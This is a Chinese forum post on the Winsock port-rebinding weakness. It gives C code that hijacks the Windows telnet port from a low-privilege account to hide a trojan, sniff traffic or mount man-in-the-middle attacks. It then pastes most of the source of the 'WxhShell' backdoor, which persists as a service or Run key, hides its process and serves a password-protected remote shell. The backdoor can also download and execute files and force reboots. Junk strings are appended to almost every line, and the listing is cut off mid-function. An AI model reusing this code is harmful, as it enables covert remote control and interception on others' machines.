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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0,/[r/=jT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HX <;=m  
V];RQWs  
  saddr.sin_family = AF_INET; K:9.fTCs*  
cu""vtK   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (d!vm\-PH  
X0=R @_KY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wTTQIo 60  
q?t>!1c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nl?|X2?C  
?9PNCd3$d  
  这意味着什么?意味着可以进行如下的攻击: I5D\Z  
rhUZ9Fdv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hA~}6Qn  
DSnsi@Mi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .^v7LF]Q  
}M9'N%PU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c76^x   
82w< q(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  979L]H#  
>! c^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )lW<: ?k  
+nqOP3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @{$SjR8Q $  
:)MZgW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I]$kVa1iN  
a<HM|dcst  
  #include 3 +#bkG  
  #include Lv5AtZl}  
  #include MQ,2v. vZ.  
  #include    g xLA1]>{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J}.p6E~j  
  int main() RSkpf94`  
  { vR`KRI`{  
  WORD wVersionRequested; 0Ifd!  
  DWORD ret; +q2l,{|?  
  WSADATA wsaData; gReaFnm  
  BOOL val; Cf10 ud   
  SOCKADDR_IN saddr; D #A9  
  SOCKADDR_IN scaddr; zPVA6~|l  
  int err; h.8J6;36  
  SOCKET s; >o[T#U  
  SOCKET sc; $B(B  
  int caddsize; yC _X@o-n  
  HANDLE mt; T&{EqsI=B  
  DWORD tid;   fNlUc  
  wVersionRequested = MAKEWORD( 2, 2 ); }LE/{]A  
  err = WSAStartup( wVersionRequested, &wsaData ); $U6)km4  
  if ( err != 0 ) { EGa}ml/G  
  printf("error!WSAStartup failed!\n"); WIb U^WJ0  
  return -1; Yt{Y)=_t  
  }  a1j 6-p  
  saddr.sin_family = AF_INET; 5^5h%~)}  
   x2nNkd0h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 irL ehPX9  
?=fJu\;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hio{: (  
  saddr.sin_port = htons(23); AAs&wYp8Yh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3_D$6/i  
  { i,V~5dE[I<  
  printf("error!socket failed!\n"); %f^TZ,q$  
  return -1; &yP9vp="  
  } 3c ^_IuW-  
  val = TRUE; {Ji[d.cY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /njN*rhx&Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) T}zOM%]]  
  { xvW+;3;  
  printf("error!setsockopt failed!\n"); \BS^="AcpP  
  return -1; ZOU$do>O  
  } V%3K")  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0z%]HlPg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +p_SKk!%+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4sG^ bZ,  
"Z,'NL>&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @(ev``L5g  
  { :vm*miOF  
  ret=GetLastError(); 5Rc 5/m  
  printf("error!bind failed!\n"); (h2bxfV~+  
  return -1; k%.IIVRx  
  } &"25a[x{B  
  listen(s,2); &%FpNU9  
  while(1) A]W`r}  
  { z m_mLk$4H  
  caddsize = sizeof(scaddr); r`mfLA]d  
  //接受连接请求 3"cAwU9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9.>v ;:vL  
  if(sc!=INVALID_SOCKET) M$|^?U>cm  
  { #knpZ'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5a_1x|Fhi  
  if(mt==NULL) |wWBV{^  
  { 0f1*#8-6  
  printf("Thread Creat Failed!\n"); m+,a=sR  
  break; !,|yrB&`S  
  } mpN|U(n  
  } =C u !  
  CloseHandle(mt); V"k*PLt  
  } jsH7EhF{'  
  closesocket(s); Nx,.4CI  
  WSACleanup(); = gOq >`  
  return 0; MejM(o_kk  
  }   v2/@Pu!kg  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4E<iIA\x  
  { r +d%*Dx  
  SOCKET ss = (SOCKET)lpParam; m.Yj{u8zX  
  SOCKET sc; [3}m|W<  
  unsigned char buf[4096]; w%KU@$  
  SOCKADDR_IN saddr; auK*\Wjm?  
  long num; ]u G9WT6l  
  DWORD val; <"X\~  
  DWORD ret; aF]4%E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hCuUX)>Bt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tp7cc;0  
  saddr.sin_family = AF_INET; -Uh3A\#(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [x{'NwP?  
  saddr.sin_port = htons(23); Z vM~]8m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XE6sFU  
  { aHuZzYQ*"j  
  printf("error!socket failed!\n"); ER;?[!  
  return -1; 6Q"fRXM   
  } tHgu#k0  
  val = 100; x2%xrlv<J/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Py_yIwQqg  
  { @FO= 0_;y  
  ret = GetLastError(); 0go{gUI  
  return -1; 5%Hw,h   
  } +" |?P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .!/w[Z]  
  { aQzx^%B1  
  ret = GetLastError(); 4L)#ku$jW  
  return -1; Y=6569U2  
  } -Ri/I4Xj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @komb IK  
  { pL 2P .  
  printf("error!socket connect failed!\n"); 76epkiz;=  
  closesocket(sc); C&wp*  
  closesocket(ss); v,, .2UR4  
  return -1; PuO5@SP~  
  } N5_`  
  while(1) 2 8>  
  { #$n >+ lc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [/E|n[Bx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {+Zj}3o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #w]UP#^io  
  num = recv(ss,buf,4096,0); U</Vcz  
  if(num>0) g A+p^`;[  
  send(sc,buf,num,0); 7C / ^ Gw  
  else if(num==0) pz4lC=H%o  
  break; (sDZ&R  
  num = recv(sc,buf,4096,0); -<0xS.^  
  if(num>0) {gT4Oq__  
  send(ss,buf,num,0); db*yA@2Lg  
  else if(num==0) xB :]{9r  
  break; {HO,d{{  
  } 3R>"X c  
  closesocket(ss); 2^w8J w9  
  closesocket(sc); +,xluwv$9  
  return 0 ; *(g0{V  
  } DMdVE P"m  
GHWt3K:*w  
3-Bz5sj9  
========================================================== tNvjwgV\  
TTagZI$  
下边附上一个代码,,WXhSHELL L_`D  
%p;;aZG  
========================================================== W\EvMV"  
imc1rY!~'  
#include "stdafx.h" 9 ;Qgby  
XOL_vS24  
#include <stdio.h> FJD;LpW  
#include <string.h> A$3ll|%j  
#include <windows.h> GLp~SeF#  
#include <winsock2.h> 719lfI&s  
#include <winsvc.h> l@:&0id4I  
#include <urlmon.h> bn:74,GeyK  
A'aYH`j  
#pragma comment (lib, "Ws2_32.lib") (M# m BS  
#pragma comment (lib, "urlmon.lib") M 4E|^p=5  
%bp'`B=  
#define MAX_USER   100 // 最大客户端连接数 "_0sW3rG  
#define BUF_SOCK   200 // sock buffer "cwvx8un  
#define KEY_BUFF   255 // 输入 buffer eGW h]%  
: #OaE,  
#define REBOOT     0   // 重启 GYrUB59  
#define SHUTDOWN   1   // 关机 s|][p|  
p`Ok(C_  
#define DEF_PORT   5000 // 监听端口  eIj2(q9  
X`C ozyYuD  
#define REG_LEN     16   // 注册表键长度 ,(B/R8ZF~  
#define SVC_LEN     80   // NT服务名长度 %O9P|04]3  
gI/ SA  
// 从dll定义API gb=tc`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q{}U5(,{0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?aQVaw&L!7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rRX F@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -amNz.`[PR  
*JOp)e0b  
// wxhshell配置信息 )}J}d)  
struct WSCFG { ;EsfHCi)  
  int ws_port;         // 监听端口 &`}d;r|yn1  
  char ws_passstr[REG_LEN]; // 口令 yu jv^2/  
  int ws_autoins;       // 安装标记, 1=yes 0=no A |P wm`  
  char ws_regname[REG_LEN]; // 注册表键名 z(#CO<C.t  
  char ws_svcname[REG_LEN]; // 服务名 _xM}*_<VP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lh-+i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tdxc%'l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )`#SMLMy~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (g>&ov(d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * $|9e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jA3xDbM  
3F9dr@I.7  
}; lQL /I[}  
B$G9#G6pZ  
// default Wxhshell configuration 4|hfzCjMI  
struct WSCFG wscfg={DEF_PORT, 7g4IAsoD  
    "xuhuanlingzhe", ?NxaJ^  
    1, Xc9NM1bp=  
    "Wxhshell", {>d\  
    "Wxhshell", >CYz6G j  
            "WxhShell Service", **]=!W  
    "Wrsky Windows CmdShell Service", u)~::2BXAn  
    "Please Input Your Password: ", L2%npps  
  1, be]Zx`)k  
  "http://www.wrsky.com/wxhshell.exe", gWl49'S>+  
  "Wxhshell.exe" 82YZN5S3]3  
    }; 8"ulAx74>  
M y!;N1  
// 消息定义模块 0KN'\KE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #TIlM]5%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l M a||  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E8.1jCL>{"  
char *msg_ws_ext="\n\rExit."; /~+j[o B  
char *msg_ws_end="\n\rQuit."; loD:4e1  
char *msg_ws_boot="\n\rReboot..."; S Q`KR'E  
char *msg_ws_poff="\n\rShutdown..."; t?FPmbj v  
char *msg_ws_down="\n\rSave to "; 0BN=>]V~j7  
RWZjD#5%Z  
char *msg_ws_err="\n\rErr!"; k^%F4d3z@C  
char *msg_ws_ok="\n\rOK!"; eK/rs r  
&ZJ$V  
char ExeFile[MAX_PATH]; wx^1lC2  
int nUser = 0; U3pMv|b  
HANDLE handles[MAX_USER]; ei @$_w*TH  
int OsIsNt; 8ZNwo  
X1="1{8H  
SERVICE_STATUS       serviceStatus; KS;Wr6]@(O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gFxaUrZA  
4EJ6Zy![0*  
// 函数声明 w"!zLB&9[  
int Install(void); :&m0eZZ%  
int Uninstall(void); O/ZyWT  
int DownloadFile(char *sURL, SOCKET wsh); cN7|Zsc\  
int Boot(int flag); 3 Ol`i$  
void HideProc(void); 9j1 tcT  
int GetOsVer(void); 6~Y`<#X5J  
int Wxhshell(SOCKET wsl); 0T:ZWRjH  
void TalkWithClient(void *cs); vl5r~F  
int CmdShell(SOCKET sock); mam(h{f$  
int StartFromService(void); %)L|7v<  
int StartWxhshell(LPSTR lpCmdLine); GTW5f  
mk +BeK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {&h=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @qB1:==@7  
gal.<SVW  
// 数据结构和表定义 $u{ 8wF/)  
SERVICE_TABLE_ENTRY DispatchTable[] = ^S^7 u  
{ *%QTv3{  
{wscfg.ws_svcname, NTServiceMain}, zg{  
{NULL, NULL} 1y.!x~Pi,  
}; y73@t$|  
]ChN]>o  
// 自我安装 !}Ty"p`  
int Install(void) k^\>=JTq=  
{ 6zJ>n~&(  
  char svExeFile[MAX_PATH]; `f%sq*O~  
  HKEY key; mTZgvPJ!  
  strcpy(svExeFile,ExeFile); I@YX-@&7  
PxgLt2dXa  
// 如果是win9x系统,修改注册表设为自启动 ,8@U-7f,  
if(!OsIsNt) { ~'/_q4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5OX5\#Ux  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R^GLATM  
  RegCloseKey(key); H_7X%TvXb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pAd SOR2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %I;iP|/  
  RegCloseKey(key); 'q{|p+  
  return 0; oW8 hC  
    } 9h'klaE(  
  } B#(2,j7M  
} mYqRN1%  
else { qjd8Q  
}P"JP[#E\  
// 如果是NT以上系统,安装为系统服务 df!n.&\y!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X" ;ly0Mb  
if (schSCManager!=0) Qrt> vOUE7  
{ wvNddu>@  
  SC_HANDLE schService = CreateService GA@Zfcg  
  ( O$ ;:5zT  
  schSCManager, +vCW${U  
  wscfg.ws_svcname, 6IC/~Woghx  
  wscfg.ws_svcdisp, }_o!f V  
  SERVICE_ALL_ACCESS, `K \(I#z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H He~OxWg  
  SERVICE_AUTO_START, @|J+ f5O  
  SERVICE_ERROR_NORMAL, DmgWIede|:  
  svExeFile, 7I<];j  
  NULL, F#$[jh$  
  NULL, ejC== Fkc  
  NULL, X8=s k  
  NULL, *27*&&=)H  
  NULL WjvD C"  
  ); EcW$'>^  
  if (schService!=0) cakb.Q  
  { C~a- R#  
  CloseServiceHandle(schService); \%N | X  
  CloseServiceHandle(schSCManager); p*Hbc|?{Q&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PEX(*GS  
  strcat(svExeFile,wscfg.ws_svcname); c`h/x>fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o%\pI%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (3+:/,{'$  
  RegCloseKey(key); sz%'=J~!V  
  return 0; I!sB$=n  
    } -g]g  
  } &GH ,is  
  CloseServiceHandle(schSCManager); R2$;f?;:  
} ~#jD/  
} =e$6o2!'}  
eb>YvC  
return 1; e(m#elX  
} = A;B-_c  
zg83->[  
// 自我卸载 pg'3j3JW$  
int Uninstall(void) yp:_W@  
{ l4s_9  
  HKEY key; tJ,x>s?Y  
K@z zseQ}=  
if(!OsIsNt) { pC'GKk 8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QcDWVM'v  
  RegDeleteValue(key,wscfg.ws_regname); T5+iX`#M  
  RegCloseKey(key); S<V__Sv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PME ?{%&  
  RegDeleteValue(key,wscfg.ws_regname); 0cm+:  
  RegCloseKey(key); ^#VyIF3q  
  return 0; gr")Jw7  
  } }$ZcC_  
} r&t)%R@q  
} >-{)wk;1&  
else { Z:PsQ~M  
)m Uc !TP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dT9!gNvQ  
if (schSCManager!=0) RjS&^u aP  
{ n(#159pZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -S"$S16D  
  if (schService!=0) G.} 3hd0  
  { er?'o1M  
  if(DeleteService(schService)!=0) { d8? }69:h  
  CloseServiceHandle(schService); 1&@s2ee4   
  CloseServiceHandle(schSCManager); 6KD  
  return 0; jWd 7>1R?  
  } o(I[_oUy\  
  CloseServiceHandle(schService); 007SA6xq  
  } HV??B :  
  CloseServiceHandle(schSCManager); `%x6;Ha  
} :+SpZ>  
} 8U07]=Bt<  
/ 1jb8w'  
return 1; Tv& -n  
} {1y-*@yU(  
"gD)Uis  
// 从指定url下载文件 (f  0p   
int DownloadFile(char *sURL, SOCKET wsh) :>.~"uWo{  
{ 3P!Jw7e  
  HRESULT hr; 1Yy5bg6+E  
char seps[]= "/"; I4Ys ,n  
char *token; /?jAG3"  
char *file; ~$N%UQn?b#  
char myURL[MAX_PATH]; 9LkP*$2"M<  
char myFILE[MAX_PATH]; uOqWMRsoi  
MEQ :[;1  
strcpy(myURL,sURL); c%aY6dQG&%  
  token=strtok(myURL,seps); rlvo&(a  
  while(token!=NULL) T6|zT}cb  
  { O7shY4Sr  
    file=token; T3o}%wGW  
  token=strtok(NULL,seps); 'Dq!o[2y  
  } 7B$iM,}.b  
 ?6!7fs,  
GetCurrentDirectory(MAX_PATH,myFILE); .pgTp X   
strcat(myFILE, "\\"); yFT)R hN  
strcat(myFILE, file); "$? f&*  
  send(wsh,myFILE,strlen(myFILE),0); ?#^_yd|<  
send(wsh,"...",3,0); Z4Nl{  6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bGvALz'  
  if(hr==S_OK) V@Z8t8  
return 0; +'H_sMmi{  
else qJj;3{X2  
return 1; Nw}y_Qf{  
l K%pxqx  
} TE4{W4I  
<a|$ Bl  
// 系统电源模块 Yw=Ve 0  
int Boot(int flag) #5kQn>R  
{ |2\6X's  
  HANDLE hToken; [ds:LQq)/  
  TOKEN_PRIVILEGES tkp; a[:0<Ek  
\+E{8&TH'  
  if(OsIsNt) { bIP{DxKS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e uS"C*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (xJ6 : u  
    tkp.PrivilegeCount = 1; aD,sx#g0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &inu mc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k~u$&a  
if(flag==REBOOT) { xT I&X9P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0A@'w*=  
  return 0; 5B!l6ST  
} BF2,E<^A  
else { Dx =ms^oN5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7z"xjA  
  return 0; aE6 I|6W?  
} V+X>t7.Q  
  } 2JZf@x+}  
  else { w4 <FC$  
if(flag==REBOOT) { oBr/CW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vBUx )l  
  return 0; w} *;^n  
} P=eVp(/x  
else { p6]4YGw*^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :04sB]H  
  return 0;  4G&E?  
} RV5X0  
} Crmxsw.W^Y  
l;: L0(('  
return 1; 'D8WNZ8Q  
} w1/p wzn  
U7.3`qd"  
// win9x进程隐藏模块 ~]DGf(   
void HideProc(void) V<AT"vU[  
{ 3qPj+@  
OWFLw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m]BxGwT=m  
  if ( hKernel != NULL ) q4<3 O"c1  
  { kJqgY|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qwb=N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *D1 ^Se  
    FreeLibrary(hKernel); mc;Z#"kf  
  } - *!R  
y~An'+yBa  
return; v' 7,(.E  
} ahA21W` k  
Zf |%t  
// 获取操作系统版本 kt.z,<w5O  
int GetOsVer(void) W~+ ] 7<  
{ XKB)++Q=  
  OSVERSIONINFO winfo; tT87TmNsA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |ul25/B B  
  GetVersionEx(&winfo); Mo|[Muj8b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EAU6z(X$  
  return 1; yf+M  
  else .`& ($W  
  return 0; V*rAZ0  
} 1u7Kc'.xc  
G=!1P]M{  
// 客户端句柄模块 Zf}]sW$H  
int Wxhshell(SOCKET wsl) 6Yebc_, R  
{ eD/O)X  
  SOCKET wsh; `me2Q  
  struct sockaddr_in client; r k;k:<c  
  DWORD myID; ^AK<]r<?L?  
zE5%l`@|o  
  while(nUser<MAX_USER) 9(DS"fgC  
{ $-m@cObw!.  
  int nSize=sizeof(client); \];0S4SBy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V #W,}+_Sz  
  if(wsh==INVALID_SOCKET) return 1; _eM\ /(v[  
vFL Qq,?Nh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uyMxBc%6  
if(handles[nUser]==0) qc\]~]H]r  
  closesocket(wsh); "  m<]B  
else LO<R<zz  
  nUser++; @6 uB78U4O  
  } k'{'6JR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J`a$"G B.  
Aa-L<wZVPt  
  return 0; fOCLN$x^  
} ;@GlJ '$;  
yB\}e'J^  
// 关闭 socket MW8GM}Ho[  
void CloseIt(SOCKET wsh) 6=s!~  
{ ]#;;)K}>  
closesocket(wsh); Esvr~)Y  
nUser--; ;<d("Yz:@Z  
ExitThread(0); *ndXZ64  
} `z%f@/:fG  
4Tgy2[D?q  
// 客户端请求句柄 2{Nv&ZX?  
void TalkWithClient(void *cs) % 1ZJi}~  
{ yEyx.Mh.Af  
4;'o`K~*  
  SOCKET wsh=(SOCKET)cs; Aq%TZ_m  
  char pwd[SVC_LEN]; __M(dN(^  
  char cmd[KEY_BUFF]; +<7~yZ[Z8  
char chr[1];  u)PB@  
int i,j; #4iSQ$0  
^JZ]?iny  
  while (nUser < MAX_USER) { @ofivCc<%  
9HrT>{@  
if(wscfg.ws_passstr) { ;X,|I)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {J;[ Hf5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x9q?^\x  
  //ZeroMemory(pwd,KEY_BUFF); V/"UDof  
      i=0; ^.)oQo SE  
  while(i<SVC_LEN) { F8mS5oB|^  
:,%~R2  
  // 设置超时 fTd=}zY  
  fd_set FdRead; ZN#mu]jC?  
  struct timeval TimeOut; cO%-Av~P  
  FD_ZERO(&FdRead); 2\80S[f  
  FD_SET(wsh,&FdRead); }A,9`  
  TimeOut.tv_sec=8; ekC 1wN l  
  TimeOut.tv_usec=0; AL@8v=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QG {KEj2V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \Fg%V>  
9`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `~0)}K.F  
  pwd=chr[0]; a(RTb<  
  if(chr[0]==0xd || chr[0]==0xa) { Hc^q_{}"  
  pwd=0; l =~EweuM  
  break; 5<ZE.'O  
  } &{E1w<uv  
  i++; y"6;O0  
    } Z6C!-a  
DCr&%)Ll  
  // 如果是非法用户,关闭 socket jez=q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vYb.Ub+  
} D*.U?  
k?]`PUrV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?e( y/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K",YAfJa  
&iR3]FNI  
while(1) { :}(Aq;}X  
:_9MS0  
  ZeroMemory(cmd,KEY_BUFF); &$$KC?!w  
(%.[MilxPM  
      // 自动支持客户端 telnet标准   L~9Q7 6w  
  j=0; M ,!Dhuas  
  while(j<KEY_BUFF) { VwJ A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DmzK* O{  
  cmd[j]=chr[0]; mY6d+  
  if(chr[0]==0xa || chr[0]==0xd) { 0?c2=Y   
  cmd[j]=0; WOBLgM,|  
  break; $>^DkrOd  
  } %S*<2F9  
  j++; UF37|+"E  
    } b7-M'-Km0_  
 ;;>hWAS  
  // 下载文件 [0vgA#6I  
  if(strstr(cmd,"http://")) { *Rm"3S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ws}cMX]*  
  if(DownloadFile(cmd,wsh)) Xa o*h(Q@L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,',  S  
  else )B"k;dLm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  W^dk:  
  } })#VO-J  
  else { T($d3Nn1  
uBpnfIe  
    switch(cmd[0]) { @ ;T|`Y=7  
  b0X<)1O  
  // 帮助 b;Nm$`2  
  case '?': { j'L/eps?S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]k+XL*]'A  
    break; S+wy^x@@  
  } YkWv*l  
  // 安装 arVu`pD*n  
  case 'i': { ki|KtKAu_9  
    if(Install()) H(|n,c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v9*ugu[K9  
    else o,qq*}=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P}"=67$  
    break; hSAdD!  
    } oVZI ([O  
  // 卸载 XotiKCk|Aq  
  case 'r': { T'i^yd }*v  
    if(Uninstall()) GK6/S_l%D+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {*yFTP"93  
    else ws/e~ T<c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {"v~1W)  
    break; FZFYwU\~.L  
    } QK~44;LVIJ  
  // 显示 wxhshell 所在路径 FS'|e?WU  
  case 'p': { 8-#_xsZ^;  
    char svExeFile[MAX_PATH]; ov3FKMG?  
    strcpy(svExeFile,"\n\r"); PI G3kJ  
      strcat(svExeFile,ExeFile); g2 RrBK,  
        send(wsh,svExeFile,strlen(svExeFile),0); z6'Cz}%EP'  
    break; 3#\++h]QZ  
    } s+m3&(X  
  // 重启 Ga<Uvr%+  
  case 'b': { Ow" e3]}Mt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }>93X0%r  
    if(Boot(REBOOT)) 4 H<.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!)3{cjU@  
    else { kh4., \'  
    closesocket(wsh); e:9s%|]T  
    ExitThread(0); ^uiQZ%;  
    } P^3`znq{  
    break; $Wy(Wtrx|  
    } %3%bRP  
  // 关机 o:wI{?%-3  
  case 'd': { [,bra8f[C  
